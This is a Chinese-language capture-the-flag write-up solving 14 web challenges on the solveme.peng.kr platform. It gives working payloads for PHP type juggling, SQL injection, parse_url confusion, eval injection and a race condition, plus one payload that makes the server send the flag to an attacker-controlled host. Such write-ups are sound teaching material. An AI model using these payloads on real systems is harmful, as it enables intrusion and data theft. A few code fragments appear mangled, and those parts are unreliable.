Solveme.peng.kr平台Web题解
字数 2554 2025-08-18 11:37:11
Solveme.peng.kr平台Web题解教学文档
1. Warmup (基础反编码)
题目源码:
<?php
error_reporting(0);
require __DIR__.'/lib.php';
echo base64_encode(hex2bin(strrev(bin2hex($flag)))), '<hr>';
highlight_file(__FILE__);
解题步骤:
- 给定字符串:
1wMDEyY2U2YTY0M2NgMTEyZDQyMjAzNWczYjZgMWI4NTt3YWxmY= - 反解过程:
- Base64解码
- 转换为16进制
- 反转16进制字符串
- 16进制转二进制
- PHP代码实现:
$str = "1wMDEyY2U2YTY0M2NgMTEyZDQyMjAzNWczYjZgMWI4NTt3YWxmY=";
echo hex2bin(strrev(bin2hex(base64_decode($str))));
关键点:
- 理解编码转换顺序: Base64 → Hex → Reverse → Hex2bin
- 使用PHP内置函数完成转换链
2. Bad Compare (非ASCII字符比较)
题目源码:
<?php
error_reporting(0);
require __DIR__.'/lib.php';
if(isset($_GET['answer'])){
if($_GET['answer'] === 'роВВхУъесЧМ'){
echo $flag;
}
}
解题步骤:
- 发现需要提交的answer参数包含非ASCII字符
- 使用Python脚本获取原始字节:
import requests
import urllib
url = "http://badcompare.solveme.peng.kr"
s = requests.get(url=url)
print urllib.quote(s.content[917:927])
- 得到URL编码字符串:
%F0%EE%C2%F5%D3%FA%E5%F1%D7%CC - 直接提交编码后的字符串
关键点:
- 非ASCII字符在URL中的处理
- 使用urllib.quote获取原始字节编码
- 直接提交URL编码后的参数
3. Winter Sleep (弱类型比较+科学计数法绕过)
题目源码:
<?php
error_reporting(0);
require __DIR__.'/lib.php';
if(isset($_GET['time'])){
if(!is_numeric($_GET['time'])){
echo 'The time must be number.';
}else if($_GET['time'] < 60 * 60 * 24 * 30 * 2){
echo 'This time is too short.';
}else if($_GET['time'] > 60 * 60 * 24 * 30 * 3){
echo 'This time is too long.';
}else{
sleep((int)$_GET['time']);
echo $flag;
}
}
解题步骤:
- 计算范围: 5184000(606024302) ~ 7776000(606024303)
- 使用科学计数法绕过sleep:
6e6= 6000000 (在范围内)(int)'6e6'= 6 (sleep很短)
- 提交payload:
?time=6e6
关键点:
- PHP弱类型比较特性
- 科学计数法绕过sleep
- 字符串到整型的转换特性
4. Hard Login (路径跳转绕过)
题目源码:
<?php
error_reporting(0);
session_start();
require __DIR__.'/lib.php';
if(isset($_GET['username'], $_GET['password'])){
// 验证逻辑...
$_SESSION['hard_login_check'] = true;
echo 'Login success!';
header('Location: ./');
}
解题步骤:
- 发现登录成功后跳转到
./ - 直接访问index.php:
curl http://hardlogin.solveme.peng.kr/index.php
- 获取flag
关键点:
- 路径跳转漏洞
- 使用curl绕过前端限制
- 直接访问隐藏路径
5. URL Filtering (parse_url解析漏洞)
题目源码:
<?php
error_reporting(0);
require __DIR__."/lib.php";
$url = urldecode($_SERVER['REQUEST_URI']);
$url_query = parse_url($url, PHP_URL_QUERY);
// 过滤逻辑...
if(isset($_GET['do_you_want_flag']) && $_GET['do_you_want_flag'] == "yes"){
die($flag);
}
解题步骤:
- 发现过滤
do_you_want_flag和yes关键词 - 利用parse_url解析特性:
- 添加多余斜杠混淆解析
- payload:
http://urlfiltering.solveme.peng.kr///?do_you_want_flag=yes
关键点:
- parse_url函数解析漏洞
- 多余斜杠绕过过滤
- URL解析不一致性
6. Hash Collision (数组绕过哈希比较)
题目源码:
<?php
error_reporting(0);
require __DIR__.'/lib.php';
if(isset($_GET['foo'], $_GET['bar'])){
if($_GET['foo'] === $_GET['bar']){
die('Same value');
}
if(hash('sha512', $_GET['foo']) !== hash('sha512', $_GET['bar'])){
die('Different hash');
}
echo $flag;
}
解题步骤:
- 需要两个不同值但相同SHA512哈希
- 利用PHP数组哈希特性:
- 数组参数传递会返回NULL哈希
- payload:
?foo[]=1&bar[]=2
关键点:
- PHP数组哈希特性
- 类型混淆漏洞
- 哈希函数对数组的处理
7. Array2String (非ASCII字符拼接)
题目源码:
<?php
error_reporting(0);
require __DIR__.'/lib.php';
$value = $_GET['value'];
$username = $_GET['username'];
$password = $_GET['password'];
for ($i = 0; $i < count($value); ++$i) {
if ($_GET['username']) unset($username);
if ($value[$i] > 32 && $value[$i] < 127) unset($value);
else $username .= chr($value[$i]);
if ($username == '15th_HackingCamp' && md5($password) == md5(file_get_contents('./secret.passwd'))) {
echo $flag;
}
}
解题步骤:
- 需要构造value数组使拼接后username为'15th_HackingCamp'
- 利用chr()模256特性:
chr(321)=A因为321%256=65='A'
- 构造payload:
?value[]=305&value[]=309&value[]=372&value[]=360&value[]=351&value[]=328
&value[]=353&value[]=355&value[]=363&value[]=361&value[]=366&value[]=359
&value[]=323&value[]=353&value[]=365&value[]=368&password=simple_passw0rd
关键点:
- chr()函数的模256特性
- 非ASCII字符拼接
- 科学计数法绕过数字比较
8. Give Me a Link (URL解析混淆)
题目源码:
<?php
error_reporting(0);
require __DIR__.'/lib.php';
if(isset($_GET['url'])){
$url = $_GET['url'];
if(preg_match('/_|\s|\0/', $url)){
die('Not allowed character');
}
if(!preg_match('/^https?SERVER['HTTP_HOST'].'/i', $url)){
die('Not allowed URL');
}
$parse = parse_url($url);
if($parse['path'] !== '/plz_give_me'){
die('Not allowed path');
}
// 发送flag到指定主机
}
解题步骤:
- 绕过下划线过滤: 使用%1a(替换字符)
- 绕过host验证: 使用
@符号指定真实主机 - payload:
http://givemealink.solveme.peng.kr/?url=http://givemealink.solveme.peng.kr@vps_ip/plz%1agive%1ame
关键点:
- URL编码特殊字符
- parse_url解析不一致性
- @符号在URL中的用途
9. Replace Filter (换行符绕过正则)
题目源码:
<?php
error_reporting(0);
require __DIR__.'/lib.php';
if(isset($_GET['say']) && strlen($_GET['say']) < 20){
$say = preg_replace('/^(.*)flag(.*)$/', '<!-- filtered -->', $_GET['say']);
if(preg_match('/give_me_the_flag/', $say)){
echo $flag;
}
}
解题步骤:
- 正则
/^(.*)flag(.*)$/不匹配换行符 - 使用换行符分割字符串
- payload:
?say=%0agive_me_the_flag
关键点:
- 正则表达式行首/行尾匹配特性
- 换行符绕过过滤
- 多行字符串处理
10. Hell JS (JS混淆还原)
解题步骤:
- 分析混淆JS代码
- 发现大量数字拼接:
"4"+"7","4"+"7","3"+"2","1"+"0"+"3","111","111","100"... - 使用
String.fromCharCode还原:
document.write(String.fromCharCode(47,47,32,103,111,111,100,...));
- 得到原始JS代码包含flag
关键点:
- JS混淆技术
- 数字到字符转换
- 代码还原技巧
11. Anti SQLi (反斜杠转义绕过)
题目源码:
<?php
require __DIR__.'/lib.php';
$id = $_GET['id'];
$pw = $_GET['pw'];
// 严格SQL过滤
$con = mysqli_connect(...);
$result = mysqli_fetch_array(
mysqli_query($con, "SELECT * FROM `antisqli` WHERE `id`='{$id}' AND `pw`=md5('{$pw}')")
);
if(isset($result) && $result['no'] === '31337'){
echo $flag;
}
解题步骤:
- 发现反斜杠过滤不完整:
|\\|应为|\\\\| - 使用反斜杠转义单引号:
id=\转义结束引号 - 注释剩余部分:
--%1a(使用不可见字符) - payload:
?id=\&pw=union all select 31337,31337,31337 from antisqli --%1a
关键点:
- SQL注入引号转义
- 注释符绕过
- 不可见字符使用
12. Name Check (SQLite字符串连接)
题目源码:
<?php
error_reporting(0);
require __DIR__.'/lib.php';
if(isset($_GET['name'])){
$name = $_GET['name'];
if(preg_match("/admin|0/i", $name)){
echo 'Not allowed input';
}
// SQLite查询要求name满足特定条件
if( $row[0] + $row[1] + $row[2] + $row[3] === 4 ){
echo $flag;
}
}
解题步骤:
- 分析SQL查询需要构造'admin'但被过滤
- 使用SQLite字符串连接符
|| - payload:
?name=adm'||'in
关键点:
- SQLite字符串连接特性
- 关键词分割绕过
- 字符串拼接技巧
13. I Am Slowly (竞态条件利用)
题目源码:
<?php
$table = 'iamslowly_'.ip2long($_SERVER['REMOTE_ADDR']);
$answer = $_GET['answer'];
if(isset($answer)){
// 检查count
if($result['count'] === '12'){
mysqli_query($con, "DROP TABLE `{$table}`;");
}
// 执行查询
$randtime = mt_rand(1, 10);
$result = mysqli_fetch_array(
mysqli_query($con, "SELECT * FROM `{$table}` WHERE sleep({$randtime}) OR `answer`='{$answer}'")
);
// 更新count
mysqli_query($con, "UPDATE `{$table}` SET `count`=`count`+1;");
}
解题步骤:
- 利用竞态条件:
- 先发送sleep(50)请求卡住
- 快速发送正常请求使count=12
- sleep请求完成后count=13绕过限制
- 编写盲注脚本获取answer
关键点:
- 竞态条件利用
- 时间盲注技巧
- 并发请求处理
14. Check Via Eval (短标签输出)
题目源码:
<?php
error_reporting(0);
require __DIR__.'/lib.php';
$exam = 'return\''.sha1(time()).'\';';
if (eval($_GET['flag']) === sha1($flag)) {
echo $flag;
}
解题步骤:
- 绕过过滤直接输出flag:
- 使用短标签
<?= ?>
- 使用短标签
- 构造payload:
?flag=$a='alag';$a{0}='f';?>
关键点:
- PHP短标签使用
- 字符串操作绕过过滤
- eval函数特性利用